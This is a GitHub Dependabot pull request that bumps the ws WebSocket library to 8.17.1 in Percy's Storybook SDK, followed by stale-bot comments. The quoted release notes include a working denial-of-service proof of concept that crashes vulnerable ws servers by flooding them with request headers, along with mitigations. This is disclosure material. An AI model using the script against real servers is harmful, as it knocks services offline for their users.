percy / percy-storybook

Percy's Storybook SDK.
https://docs.percy.io/docs/storybook
MIT License
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⬆️ Bump ws from 8.17.0 to 8.17.1 #977

Closed dependabot[bot] closed 3 months ago

dependabot[bot] commented 5 months ago

Bumps ws from 8.17.0 to 8.17.1.

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0;

for (let i = 0; i < chars.length; i++) { if (count === 2000) break;

for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}

headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13';

const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port });

request.end(); });

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • See full diff in compare view


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github-actions[bot] commented 4 months ago

This PR is stale because it has been open for more than 14 days with no activity. Remove stale label or comment or this will be closed in 14 days.

github-actions[bot] commented 3 months ago

This PR is stale because it has been open for more than 14 days with no activity. Remove stale label or comment or this will be closed in 14 days.

github-actions[bot] commented 3 months ago

This PR was closed because it has been stalled for 28 days with no activity.

dependabot[bot] commented 3 months ago

OK, I won't notify you again about this release, but will get in touch when a new version is available. If you'd rather skip all updates until the next major or minor version, let me know by commenting @dependabot ignore this major version or @dependabot ignore this minor version. You can also ignore all major, minor, or patch releases for a dependency by adding an ignore condition with the desired update_types to your config file.

If you change your mind, just re-open this PR and I'll resolve any conflicts on it.